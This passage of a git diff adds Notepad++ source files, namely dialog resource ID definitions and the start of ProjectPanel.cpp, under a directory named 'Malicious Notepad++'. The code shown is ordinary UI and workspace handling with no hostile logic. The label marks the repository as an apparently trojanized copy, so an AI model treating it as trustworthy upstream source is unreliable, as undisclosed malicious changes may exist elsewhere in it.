IDC_CHECK_DOCCHANGESTATEMARGE (IDD_PREFERENCE_MARGEIN_BOX + 23) + #define IDC_MULTISELECTION_GB_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 24) + #define IDC_CHECK_MULTISELECTION (IDD_PREFERENCE_MARGEIN_BOX + 25) + + #define IDC_RADIO_FOLDMARGENONE (IDD_PREFERENCE_MARGEIN_BOX + 26) + + #define IDC_LW_GB_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 27) + #define IDC_RADIO_LWDEF (IDD_PREFERENCE_MARGEIN_BOX + 28) + #define IDC_RADIO_LWALIGN (IDD_PREFERENCE_MARGEIN_BOX + 29) + #define IDC_RADIO_LWINDENT (IDD_PREFERENCE_MARGEIN_BOX + 30) + + #define IDC_BORDERWIDTH_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 31) + #define IDC_BORDERWIDTHVAL_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 32) + #define IDC_BORDERWIDTH_SLIDER (IDD_PREFERENCE_MARGEIN_BOX + 33) + #define IDC_CHECK_DISABLEADVANCEDSCROLL (IDD_PREFERENCE_MARGEIN_BOX + 34) + #define IDC_CHECK_NOEDGE (IDD_PREFERENCE_MARGEIN_BOX + 35) + #define IDC_CHECK_SCROLLBEYONDLASTLINE (IDD_PREFERENCE_MARGEIN_BOX + 36) + +#define IDD_PREFERENCE_DELIMITERSETTINGS_BOX 6250 //(IDD_PREFERENCE_BOX + 250) + #define IDC_DELIMITERSETTINGS_GB_STATIC (IDD_PREFERENCE_DELIMITERSETTINGS_BOX + 1) + #define IDD_STATIC_OPENDELIMITER (IDD_PREFERENCE_DELIMITERSETTINGS_BOX + 2) + #define IDC_EDIT_OPENDELIMITER (IDD_PREFERENCE_DELIMITERSETTINGS_BOX + 3) + #define IDC_EDIT_CLOSEDELIMITER (IDD_PREFERENCE_DELIMITERSETTINGS_BOX + 4) + #define IDD_STATIC_CLOSEDELIMITER (IDD_PREFERENCE_DELIMITERSETTINGS_BOX + 5) + #define IDD_SEVERALLINEMODEON_CHECK (IDD_PREFERENCE_DELIMITERSETTINGS_BOX + 6) + #define IDD_STATIC_BLABLA (IDD_PREFERENCE_DELIMITERSETTINGS_BOX + 7) + #define IDD_STATIC_BLABLA2NDLINE (IDD_PREFERENCE_DELIMITERSETTINGS_BOX + 8) + +#define IDD_PREFERENCE_SETTINGSONCLOUD_BOX 6260 //(IDD_PREFERENCE_BOX + 250) + #define IDC_SETTINGSONCLOUD_WARNING_STATIC (IDD_PREFERENCE_SETTINGSONCLOUD_BOX + 1) + #define IDC_SETTINGSONCLOUD_GB_STATIC (IDD_PREFERENCE_SETTINGSONCLOUD_BOX + 2) + #define IDC_NOCLOUD_RADIO (IDD_PREFERENCE_SETTINGSONCLOUD_BOX + 3) + //#define IDC_DROPBOX_RADIO (IDD_PREFERENCE_SETTINGSONCLOUD_BOX + 4) + //#define IDC_ONEDRIVE_RADIO (IDD_PREFERENCE_SETTINGSONCLOUD_BOX + 5) + //#define IDC_GOOGLEDRIVE_RADIO (IDD_PREFERENCE_SETTINGSONCLOUD_BOX + 6) + #define IDC_WITHCLOUD_RADIO (IDD_PREFERENCE_SETTINGSONCLOUD_BOX + 7) + #define IDC_CLOUDPATH_EDIT (IDD_PREFERENCE_SETTINGSONCLOUD_BOX + 8) + #define IDD_CLOUDPATH_BROWSE_BUTTON (IDD_PREFERENCE_SETTINGSONCLOUD_BOX + 9) + +#define IDD_PREFERENCE_SEARCHENGINE_BOX 6270 //(IDD_PREFERENCE_BOX + 250) + #define IDC_SEARCHENGINES_GB_STATIC (IDD_PREFERENCE_SEARCHENGINE_BOX + 1) + #define IDC_SEARCHENGINE_DUCKDUCKGO_RADIO (IDD_PREFERENCE_SEARCHENGINE_BOX + 2) + #define IDC_SEARCHENGINE_GOOGLE_RADIO (IDD_PREFERENCE_SEARCHENGINE_BOX + 3) + #define IDC_SEARCHENGINE_BING_RADIO (IDD_PREFERENCE_SEARCHENGINE_BOX + 4) + #define IDC_SEARCHENGINE_YAHOO_RADIO (IDD_PREFERENCE_SEARCHENGINE_BOX + 5) + #define IDC_SEARCHENGINE_CUSTOM_RADIO (IDD_PREFERENCE_SEARCHENGINE_BOX + 6) + #define IDC_SEARCHENGINE_EDIT (IDD_PREFERENCE_SEARCHENGINE_BOX + 7) + #define IDD_SEARCHENGINE_NOTE_STATIC (IDD_PREFERENCE_SEARCHENGINE_BOX + 8) + +#define IDD_PREFERENCE_SETTING_BOX 6300 //(IDD_PREFERENCE_BOX + 300) + #define IDC_TABSETTING_GB_STATIC (IDD_PREFERENCE_SETTING_BOX + 1) + #define IDC_CHECK_REPLACEBYSPACE (IDD_PREFERENCE_SETTING_BOX + 2) + #define IDC_TABSIZE_STATIC (IDD_PREFERENCE_SETTING_BOX + 3) + #define IDC_HISTORY_GB_STATIC (IDD_PREFERENCE_SETTING_BOX + 4) + #define IDC_CHECK_DONTCHECKHISTORY (IDD_PREFERENCE_SETTING_BOX + 5) + #define IDC_MAXNBFILE_STATIC (IDD_PREFERENCE_SETTING_BOX + 6) + #define IDC_CHECK_FILEAUTODETECTION (IDD_PREFERENCE_SETTING_BOX + 7) + #define IDC_CHECK_MIN2SYSTRAY (IDD_PREFERENCE_SETTING_BOX + 8) + #define IDC_CHECK_REMEMBERSESSION (IDD_PREFERENCE_SETTING_BOX + 9) + #define IDC_TABSIZEVAL_STATIC (IDD_PREFERENCE_SETTING_BOX + 10) + #define IDC_MAXNBFILEVAL_STATIC (IDD_PREFERENCE_SETTING_BOX + 11) + #define IDC_FILEAUTODETECTION_STATIC (IDD_PREFERENCE_SETTING_BOX + 12) + #define IDC_CHECK_UPDATESILENTLY (IDD_PREFERENCE_SETTING_BOX + 13) + //#define IDC_BACKUP_GB_STATIC (IDD_PREFERENCE_SETTING_BOX + 14) + #define IDC_RADIO_BKNONE (IDD_PREFERENCE_SETTING_BOX + 15) + #define IDC_RADIO_BKSIMPLE (IDD_PREFERENCE_SETTING_BOX + 16) + #define IDC_RADIO_BKVERBOSE (IDD_PREFERENCE_SETTING_BOX + 17) + #define IDC_CLICKABLELINK_STATIC (IDD_PREFERENCE_SETTING_BOX + 18) + #define IDC_CHECK_CLICKABLELINK_ENABLE (IDD_PREFERENCE_SETTING_BOX + 19) + #define IDC_CHECK_CLICKABLELINK_NOUNDERLINE (IDD_PREFERENCE_SETTING_BOX + 20) + #define IDC_EDIT_SESSIONFILEEXT (IDD_PREFERENCE_SETTING_BOX + 21) + #define IDC_SESSIONFILEEXT_STATIC (IDD_PREFERENCE_SETTING_BOX + 22) + #define IDC_CHECK_AUTOUPDATE (IDD_PREFERENCE_SETTING_BOX + 23) + #define IDC_DOCUMENTSWITCHER_STATIC (IDD_PREFERENCE_SETTING_BOX + 24) + #define IDC_CHECK_UPDATEGOTOEOF (IDD_PREFERENCE_SETTING_BOX + 25) + #define IDC_CHECK_ENABLSMARTHILITE (IDD_PREFERENCE_SETTING_BOX + 26) + #define IDC_CHECK_ENABLTAGSMATCHHILITE (IDD_PREFERENCE_SETTING_BOX + 27) + #define IDC_CHECK_ENABLTAGATTRHILITE (IDD_PREFERENCE_SETTING_BOX + 28) + #define IDC_TAGMATCHEDHILITE_STATIC (IDD_PREFERENCE_SETTING_BOX + 29) + #define IDC_CHECK_HIGHLITENONEHTMLZONE (IDD_PREFERENCE_SETTING_BOX + 30) + #define IDC_CHECK_SHORTTITLE (IDD_PREFERENCE_SETTING_BOX + 31) + #define IDC_CHECK_SMARTHILITECASESENSITIVE (IDD_PREFERENCE_SETTING_BOX + 32) + #define IDC_SMARTHILITING_STATIC (IDD_PREFERENCE_SETTING_BOX + 33) + #define IDC_CHECK_DETECTENCODING (IDD_PREFERENCE_SETTING_BOX + 34) + #define IDC_CHECK_BACKSLASHISESCAPECHARACTERFORSQL (IDD_PREFERENCE_SETTING_BOX + 35) + #define IDC_EDIT_WORKSPACEFILEEXT (IDD_PREFERENCE_SETTING_BOX + 36) + #define IDC_WORKSPACEFILEEXT_STATIC (IDD_PREFERENCE_SETTING_BOX + 37) + #define IDC_CHECK_SMARTHILITEWHOLEWORDONLY (IDD_PREFERENCE_SETTING_BOX + 38) + #define IDC_CHECK_SMARTHILITEUSEFINDSETTINGS (IDD_PREFERENCE_SETTING_BOX + 39) + #define IDC_CHECK_SMARTHILITEANOTHERRVIEW (IDD_PREFERENCE_SETTING_BOX + 40) + + //-- xFileEditViewHistoryParameterGUI: Additional Checkbox for enabling the history for restoring the edit view per file. + #define IDC_CHECK_REMEMBEREDITVIEWPERFILE (IDD_PREFERENCE_SETTING_BOX + 41) + #define IDC_REMEMBEREDITVIEWPERFILE_STATIC (IDD_PREFERENCE_SETTING_BOX + 42) + #define IDC_EDIT_REMEMBEREDITVIEWPERFILE (IDD_PREFERENCE_SETTING_BOX + 43) + + #define IDC_DOCUMENTPEEK_STATIC (IDD_PREFERENCE_SETTING_BOX + 44) + #define IDC_CHECK_ENABLEDOCPEEKER (IDD_PREFERENCE_SETTING_BOX + 45) + #define IDC_CHECK_ENABLEDOCPEEKONMAP (IDD_PREFERENCE_SETTING_BOX + 46) + + +#define IDD_PREFERENCE_NEWDOCSETTING_BOX 6400 //(IDD_PREFERENCE_BOX + 400) + #define IDC_FORMAT_GB_STATIC (IDD_PREFERENCE_NEWDOCSETTING_BOX + 1) + #define IDC_RADIO_F_WIN (IDD_PREFERENCE_NEWDOCSETTING_BOX + 2) + #define IDC_RADIO_F_UNIX (IDD_PREFERENCE_NEWDOCSETTING_BOX + 3) + #define IDC_RADIO_F_MAC (IDD_PREFERENCE_NEWDOCSETTING_BOX + 4) + #define IDC_ENCODING_STATIC (IDD_PREFERENCE_NEWDOCSETTING_BOX + 5) + #define IDC_RADIO_ANSI (IDD_PREFERENCE_NEWDOCSETTING_BOX + 6) + #define IDC_RADIO_UTF8SANSBOM (IDD_PREFERENCE_NEWDOCSETTING_BOX + 7) + #define IDC_RADIO_UTF8 (IDD_PREFERENCE_NEWDOCSETTING_BOX + 8) + #define IDC_RADIO_UCS2BIG (IDD_PREFERENCE_NEWDOCSETTING_BOX + 9) + #define IDC_RADIO_UCS2SMALL (IDD_PREFERENCE_NEWDOCSETTING_BOX + 10) + #define IDC_DEFAULTLANG_STATIC (IDD_PREFERENCE_NEWDOCSETTING_BOX + 11) + #define IDC_COMBO_DEFAULTLANG (IDD_PREFERENCE_NEWDOCSETTING_BOX + 12) + #define IDC_OPENSAVEDIR_GR_STATIC (IDD_PREFERENCE_NEWDOCSETTING_BOX + 13) + #define IDC_OPENSAVEDIR_FOLLOWCURRENT_RADIO (IDD_PREFERENCE_NEWDOCSETTING_BOX + 14) + #define IDC_OPENSAVEDIR_REMEMBERLAST_RADIO (IDD_PREFERENCE_NEWDOCSETTING_BOX + 15) + #define IDC_OPENSAVEDIR_ALWAYSON_RADIO (IDD_PREFERENCE_NEWDOCSETTING_BOX + 16) + #define IDC_OPENSAVEDIR_ALWAYSON_EDIT (IDD_PREFERENCE_NEWDOCSETTING_BOX + 17) + #define IDD_OPENSAVEDIR_ALWAYSON_BROWSE_BUTTON (IDD_PREFERENCE_NEWDOCSETTING_BOX + 18) + #define IDC_NEWDOCUMENT_GR_STATIC (IDD_PREFERENCE_NEWDOCSETTING_BOX + 19) + #define IDC_CHECK_OPENANSIASUTF8 (IDD_PREFERENCE_NEWDOCSETTING_BOX + 20) + #define IDC_RADIO_OTHERCP (IDD_PREFERENCE_NEWDOCSETTING_BOX + 21) + #define IDC_COMBO_OTHERCP (IDD_PREFERENCE_NEWDOCSETTING_BOX + 22) + #define IDC_GP_STATIC_RECENTFILES (IDD_PREFERENCE_NEWDOCSETTING_BOX + 23) + #define IDC_CHECK_INSUBMENU (IDD_PREFERENCE_NEWDOCSETTING_BOX + 24) + #define IDC_RADIO_ONLYFILENAME (IDD_PREFERENCE_NEWDOCSETTING_BOX + 25) + #define IDC_RADIO_FULLFILENAMEPATH (IDD_PREFERENCE_NEWDOCSETTING_BOX + 26) + #define IDC_RADIO_CUSTOMIZELENTH (IDD_PREFERENCE_NEWDOCSETTING_BOX + 27) + #define IDC_CUSTOMIZELENGTHVAL_STATIC (IDD_PREFERENCE_NEWDOCSETTING_BOX + 28) + #define IDC_DISPLAY_STATIC (IDD_PREFERENCE_NEWDOCSETTING_BOX + 29) + #define IDC_OPENSAVEDIR_CHECK_USENEWSTYLESAVEDIALOG (IDD_PREFERENCE_NEWDOCSETTING_BOX + 30) + #define IDC_OPENSAVEDIR_CHECK_DRROPFOLDEROPENFILES (IDD_PREFERENCE_NEWDOCSETTING_BOX + 31) + +#define IDD_PREFERENCE_DEFAULTDIRECTORY_BOX 6450 //(IDD_PREFERENCE_BOX + 400) +#define IDD_PREFERENCE_RECENTFILESHISTORY_BOX 6460 //(IDD_PREFERENCE_BOX + 400) + +#define IDD_PREFERENCE_LANG_BOX 6500 //(IDD_PREFERENCE_BOX + 500) + #define IDC_LIST_ENABLEDLANG (IDD_PREFERENCE_LANG_BOX + 1) + #define IDC_LIST_DISABLEDLANG (IDD_PREFERENCE_LANG_BOX + 2) + #define IDC_BUTTON_REMOVE (IDD_PREFERENCE_LANG_BOX + 3) + #define IDC_BUTTON_RESTORE (IDD_PREFERENCE_LANG_BOX + 4) + #define IDC_ENABLEDITEMS_STATIC (IDD_PREFERENCE_LANG_BOX + 5) + #define IDC_DISABLEDITEMS_STATIC (IDD_PREFERENCE_LANG_BOX + 6) + #define IDC_CHECK_LANGMENUCOMPACT (IDD_PREFERENCE_LANG_BOX + 7) + #define IDC_CHECK_LANGMENU_GR_STATIC (IDD_PREFERENCE_LANG_BOX + 8) + #define IDC_LIST_TABSETTNG (IDD_PREFERENCE_LANG_BOX + 9) + #define IDC_CHECK_DEFAULTTABVALUE (IDD_PREFERENCE_LANG_BOX + 10) + #define IDC_GR_TABVALUE_STATIC (IDD_PREFERENCE_LANG_BOX + 11) + #define IDC_TABSIZEVAL_DISABLE_STATIC (IDD_PREFERENCE_LANG_BOX + 12) +#define IDD_PREFERENCE_HILITE_BOX 6550 //(IDD_PREFERENCE_BOX + 500) + +#define IDD_PREFERENCE_PRINT_BOX 6600 //(IDD_PREFERENCE_BOX + 600) + #define IDC_CHECK_PRINTLINENUM (IDD_PREFERENCE_PRINT_BOX + 1) + #define IDC_COLOUROPT_STATIC (IDD_PREFERENCE_PRINT_BOX + 2) + #define IDC_RADIO_WYSIWYG (IDD_PREFERENCE_PRINT_BOX + 3) + #define IDC_RADIO_INVERT (IDD_PREFERENCE_PRINT_BOX + 4) + #define IDC_RADIO_BW (IDD_PREFERENCE_PRINT_BOX + 5) + #define IDC_RADIO_NOBG (IDD_PREFERENCE_PRINT_BOX + 6) + #define IDC_MARGESETTINGS_STATIC (IDD_PREFERENCE_PRINT_BOX + 7) + #define IDC_EDIT_ML (IDD_PREFERENCE_PRINT_BOX + 8) + #define IDC_EDIT_MT (IDD_PREFERENCE_PRINT_BOX + 9) + #define IDC_EDIT_MR (IDD_PREFERENCE_PRINT_BOX + 10) + #define IDC_EDIT_MB (IDD_PREFERENCE_PRINT_BOX + 11) + #define IDC_ML_STATIC (IDD_PREFERENCE_PRINT_BOX + 12) + #define IDC_MT_STATIC (IDD_PREFERENCE_PRINT_BOX + 13) + #define IDC_MR_STATIC (IDD_PREFERENCE_PRINT_BOX + 14) + #define IDC_MB_STATIC (IDD_PREFERENCE_PRINT_BOX + 15) + +#define IDD_PREFERENCE_PRINT2_BOX 6700 //(IDD_PREFERENCE_BOX + 700) + #define IDC_EDIT_HLEFT (IDD_PREFERENCE_PRINT2_BOX + 1) + #define IDC_EDIT_HMIDDLE (IDD_PREFERENCE_PRINT2_BOX + 2) + #define IDC_EDIT_HRIGHT (IDD_PREFERENCE_PRINT2_BOX + 3) + #define IDC_COMBO_HFONTNAME (IDD_PREFERENCE_PRINT2_BOX + 4) + #define IDC_COMBO_HFONTSIZE (IDD_PREFERENCE_PRINT2_BOX + 5) + #define IDC_CHECK_HBOLD (IDD_PREFERENCE_PRINT2_BOX + 6) + #define IDC_CHECK_HITALIC (IDD_PREFERENCE_PRINT2_BOX + 7) + #define IDC_HGB_STATIC (IDD_PREFERENCE_PRINT2_BOX + 8) + #define IDC_HL_STATIC (IDD_PREFERENCE_PRINT2_BOX + 9) + #define IDC_HM_STATIC (IDD_PREFERENCE_PRINT2_BOX + 10) + #define IDC_HR_STATIC (IDD_PREFERENCE_PRINT2_BOX + 11) + #define IDC_EDIT_FLEFT (IDD_PREFERENCE_PRINT2_BOX + 12) + #define IDC_EDIT_FMIDDLE (IDD_PREFERENCE_PRINT2_BOX + 13) + #define IDC_EDIT_FRIGHT (IDD_PREFERENCE_PRINT2_BOX + 14) + #define IDC_COMBO_FFONTNAME (IDD_PREFERENCE_PRINT2_BOX + 15) + #define IDC_COMBO_FFONTSIZE (IDD_PREFERENCE_PRINT2_BOX + 16) + #define IDC_CHECK_FBOLD (IDD_PREFERENCE_PRINT2_BOX + 17) + #define IDC_CHECK_FITALIC (IDD_PREFERENCE_PRINT2_BOX + 18) + #define IDC_FGB_STATIC (IDD_PREFERENCE_PRINT2_BOX + 19) + #define IDC_FL_STATIC (IDD_PREFERENCE_PRINT2_BOX + 20) + #define IDC_FM_STATIC (IDD_PREFERENCE_PRINT2_BOX + 21) + #define IDC_FR_STATIC (IDD_PREFERENCE_PRINT2_BOX + 22) + #define IDC_BUTTON_ADDVAR (IDD_PREFERENCE_PRINT2_BOX + 23) + #define IDC_COMBO_VARLIST (IDD_PREFERENCE_PRINT2_BOX + 24) + #define IDC_VAR_STATIC (IDD_PREFERENCE_PRINT2_BOX + 25) + #define IDC_VIEWPANEL_STATIC (IDD_PREFERENCE_PRINT2_BOX + 26) + #define IDC_WHICHPART_STATIC (IDD_PREFERENCE_PRINT2_BOX + 27) + #define IDC_HEADERFPPTER_GR_STATIC (IDD_PREFERENCE_PRINT2_BOX + 28) + + +#define IDD_PREFERENCE_BACKUP_BOX 6800 //(IDD_PREFERENCE_BOX + 800) + #define IDC_BACKUPDIR_GRP_STATIC (IDD_PREFERENCE_BACKUP_BOX + 1) + #define IDC_BACKUPDIR_CHECK (IDD_PREFERENCE_BACKUP_BOX + 2) + #define IDD_BACKUPDIR_STATIC (IDD_PREFERENCE_BACKUP_BOX + 3) + #define IDC_BACKUPDIR_USERCUSTOMDIR_GRPSTATIC (IDD_PREFERENCE_BACKUP_BOX + 4) + #define IDC_BACKUPDIR_EDIT (IDD_PREFERENCE_BACKUP_BOX + 5) + #define IDD_BACKUPDIR_BROWSE_BUTTON (IDD_PREFERENCE_BACKUP_BOX + 6) + #define IDD_AUTOC_GRPSTATIC (IDD_PREFERENCE_BACKUP_BOX + 7) + #define IDD_AUTOC_ENABLECHECK (IDD_PREFERENCE_BACKUP_BOX + 8) + #define IDD_AUTOC_FUNCRADIO (IDD_PREFERENCE_BACKUP_BOX + 9) + #define IDD_AUTOC_WORDRADIO (IDD_PREFERENCE_BACKUP_BOX + 10) + #define IDD_AUTOC_STATIC_FROM (IDD_PREFERENCE_BACKUP_BOX + 11) + #define IDD_AUTOC_STATIC_N (IDD_PREFERENCE_BACKUP_BOX + 12) + #define IDD_AUTOC_STATIC_CHAR (IDD_PREFERENCE_BACKUP_BOX + 13) + #define IDD_AUTOC_STATIC_NOTE (IDD_PREFERENCE_BACKUP_BOX + 14) + #define IDD_FUNC_CHECK (IDD_PREFERENCE_BACKUP_BOX + 15) + #define IDD_AUTOC_BOTHRADIO (IDD_PREFERENCE_BACKUP_BOX + 16) + #define IDC_BACKUPDIR_RESTORESESSION_GRP_STATIC (IDD_PREFERENCE_BACKUP_BOX + 17) + #define IDC_BACKUPDIR_RESTORESESSION_CHECK (IDD_PREFERENCE_BACKUP_BOX + 18) + #define IDD_BACKUPDIR_RESTORESESSION_STATIC1 (IDD_PREFERENCE_BACKUP_BOX + 19) + #define IDC_BACKUPDIR_RESTORESESSION_EDIT (IDD_PREFERENCE_BACKUP_BOX + 20) + #define IDD_BACKUPDIR_RESTORESESSION_STATIC2 (IDD_PREFERENCE_BACKUP_BOX + 21) + #define IDD_BACKUPDIR_RESTORESESSION_PATHLABEL_STATIC (IDD_PREFERENCE_BACKUP_BOX + 22) + #define IDD_BACKUPDIR_RESTORESESSION_PATH_EDIT (IDD_PREFERENCE_BACKUP_BOX + 23) + #define IDD_AUTOC_IGNORENUMBERS (IDD_PREFERENCE_BACKUP_BOX + 24) + +#define IDD_PREFERENCE_AUTOCOMPLETION_BOX 6850 //(IDD_PREFERENCE_BOX + 850) + #define IDD_AUTOCINSERT_GRPSTATIC (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 1) + #define IDD_AUTOCPARENTHESES_CHECK (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 2) + #define IDD_AUTOCBRACKET_CHECK (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 3) + #define IDD_AUTOCCURLYBRACKET_CHECK (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 4) + #define IDD_AUTOC_DOUBLEQUOTESCHECK (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 5) + #define IDD_AUTOC_QUOTESCHECK (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 6) + #define IDD_AUTOCTAG_CHECK (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 7) + #define IDC_MACHEDPAIROPEN_STATIC (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 8) + #define IDC_MACHEDPAIRCLOSE_STATIC (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 9) + #define IDC_MACHEDPAIR_STATIC1 (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 10) + #define IDC_MACHEDPAIROPEN_EDIT1 (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 11) + #define IDC_MACHEDPAIRCLOSE_EDIT1 (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 12) + #define IDC_MACHEDPAIR_STATIC2 (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 13) + #define IDC_MACHEDPAIROPEN_EDIT2 (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 14) + #define IDC_MACHEDPAIRCLOSE_EDIT2 (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 15) + #define IDC_MACHEDPAIR_STATIC3 (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 16) + #define IDC_MACHEDPAIROPEN_EDIT3 (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 17) + #define IDC_MACHEDPAIRCLOSE_EDIT3 (IDD_PREFERENCE_AUTOCOMPLETION_BOX + 18) +#endif //PREFERENCE_RC_H diff --git a/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.cpp b/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.cpp new file mode 100644 index 0000000..eef62a9 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ProjectPanel/ProjectPanel.cpp @@ -0,0 +1,1236 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "ProjectPanel.h" +#include "resource.h" +#include "tinyxml.h" +#include "FileDialog.h" +#include "localization.h" +#include "Parameters.h" + +#define CX_BITMAP 16 +#define CY_BITMAP 16 + +#define INDEX_CLEAN_ROOT 0 +#define INDEX_DIRTY_ROOT 1 +#define INDEX_PROJECT 2 +#define INDEX_OPEN_NODE 3 +#define INDEX_CLOSED_NODE 4 +#define INDEX_LEAF 5 +#define INDEX_LEAF_INVALID 6 + +#define GET_X_LPARAM(lp) LOWORD(lp) +#define GET_Y_LPARAM(lp) HIWORD(lp) + +INT_PTR CALLBACK ProjectPanel::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + ProjectPanel::initMenus(); + + // Create toolbar menu + int style = WS_CHILD | WS_VISIBLE | CCS_ADJUSTABLE | TBSTYLE_AUTOSIZE | TBSTYLE_FLAT | TBSTYLE_LIST; + _hToolbarMenu = CreateWindowEx(0,TOOLBARCLASSNAME,NULL, style, + 0,0,0,0,_hSelf, nullptr, _hInst, nullptr); + TBBUTTON tbButtons[2]; + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string workspace_entry = pNativeSpeaker->getProjectPanelLangMenuStr("Entries", 0, PM_WORKSPACEMENUENTRY); + generic_string edit_entry = pNativeSpeaker->getProjectPanelLangMenuStr("Entries", 1, PM_EDITMENUENTRY); + + tbButtons[0].idCommand = IDB_PROJECT_BTN; + tbButtons[0].iBitmap = I_IMAGENONE; + tbButtons[0].fsState = TBSTATE_ENABLED; + tbButtons[0].fsStyle = BTNS_BUTTON | BTNS_AUTOSIZE; + tbButtons[0].iString = (INT_PTR)workspace_entry.c_str(); + + tbButtons[1].idCommand = IDB_EDIT_BTN; + tbButtons[1].iBitmap = I_IMAGENONE; + tbButtons[1].fsState = TBSTATE_ENABLED; + tbButtons[1].fsStyle = BTNS_BUTTON | BTNS_AUTOSIZE; + tbButtons[1].iString = (INT_PTR)edit_entry.c_str(); + + SendMessage(_hToolbarMenu, TB_BUTTONSTRUCTSIZE, sizeof(TBBUTTON), 0); + SendMessage(_hToolbarMenu, TB_ADDBUTTONS, sizeof(tbButtons) / sizeof(TBBUTTON), reinterpret_cast(&tbButtons)); + SendMessage(_hToolbarMenu, TB_AUTOSIZE, 0, 0); + ShowWindow(_hToolbarMenu, SW_SHOW); + + _treeView.init(_hInst, _hSelf, ID_PROJECTTREEVIEW); + + setImageList(IDI_PROJECT_WORKSPACE, IDI_PROJECT_WORKSPACEDIRTY, IDI_PROJECT_PROJECT, IDI_PROJECT_FOLDEROPEN, IDI_PROJECT_FOLDERCLOSE, IDI_PROJECT_FILE, IDI_PROJECT_FILEINVALID); + _treeView.addCanNotDropInList(INDEX_LEAF); + _treeView.addCanNotDropInList(INDEX_LEAF_INVALID); + + _treeView.addCanNotDragOutList(INDEX_CLEAN_ROOT); + _treeView.addCanNotDragOutList(INDEX_DIRTY_ROOT); + _treeView.addCanNotDragOutList(INDEX_PROJECT); + + _treeView.display(); + if (!openWorkSpace(_workSpaceFilePath.c_str())) + newWorkSpace(); + + return TRUE; + } + + + case WM_MOUSEMOVE: + if (_treeView.isDragging()) + _treeView.dragItem(_hSelf, LOWORD(lParam), HIWORD(lParam)); + break; + case WM_LBUTTONUP: + if (_treeView.isDragging()) + if (_treeView.dropItem()) + setWorkSpaceDirty(true); + break; + + case WM_NOTIFY: + { + notified((LPNMHDR)lParam); + } + return TRUE; + + case WM_SIZE: + { + int width = LOWORD(lParam); + int height = HIWORD(lParam); + RECT toolbarMenuRect; + ::GetClientRect(_hToolbarMenu, &toolbarMenuRect); + + ::MoveWindow(_hToolbarMenu, 0, 0, width, toolbarMenuRect.bottom, TRUE); + + HWND hwnd = _treeView.getHSelf(); + if (hwnd) + ::MoveWindow(hwnd, 0, toolbarMenuRect.bottom + 2, width, height - toolbarMenuRect.bottom - 2, TRUE); + break; + } + + case WM_CONTEXTMENU: + if (!_treeView.isDragging()) + showContextMenu(GET_X_LPARAM(lParam), GET_Y_LPARAM(lParam)); + return TRUE; + + case WM_COMMAND: + { + popupMenuCmd(LOWORD(wParam)); + break; + } + + case WM_DESTROY: + { + _treeView.destroy(); + destroyMenus(); + ::DestroyWindow(_hToolbarMenu); + break; + } + + default : + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); + } + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); +} + +void ProjectPanel::checkIfNeedSave(const TCHAR *title) +{ + if (_isDirty) + { + display(); + int res = ::MessageBox(_hSelf, TEXT("The workspace was modified. Do you want to save it?"), title, MB_YESNO | MB_ICONQUESTION); + if (res == IDYES) + { + if (!saveWorkSpace()) + ::MessageBox(_hSelf, TEXT("Your workspace was not saved."), title, MB_OK | MB_ICONERROR); + } + //else if (res == IDNO) + // Don't save so do nothing here + } +} + +void ProjectPanel::initMenus() +{ + _hWorkSpaceMenu = ::CreatePopupMenu(); + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + + generic_string new_workspace = pNativeSpeaker->getProjectPanelLangMenuStr("WorkspaceMenu", IDM_PROJECT_NEWWS, PM_NEWWORKSPACE); + generic_string open_workspace = pNativeSpeaker->getProjectPanelLangMenuStr("WorkspaceMenu", IDM_PROJECT_OPENWS, PM_OPENWORKSPACE); + generic_string reload_workspace = pNativeSpeaker->getProjectPanelLangMenuStr("WorkspaceMenu", IDM_PROJECT_RELOADWS, PM_RELOADWORKSPACE); + generic_string save_workspace = pNativeSpeaker->getProjectPanelLangMenuStr("WorkspaceMenu", IDM_PROJECT_SAVEWS, PM_SAVEWORKSPACE); + generic_string saveas_workspace = pNativeSpeaker->getProjectPanelLangMenuStr("WorkspaceMenu", IDM_PROJECT_SAVEASWS, PM_SAVEASWORKSPACE); + generic_string saveacopyas_workspace = 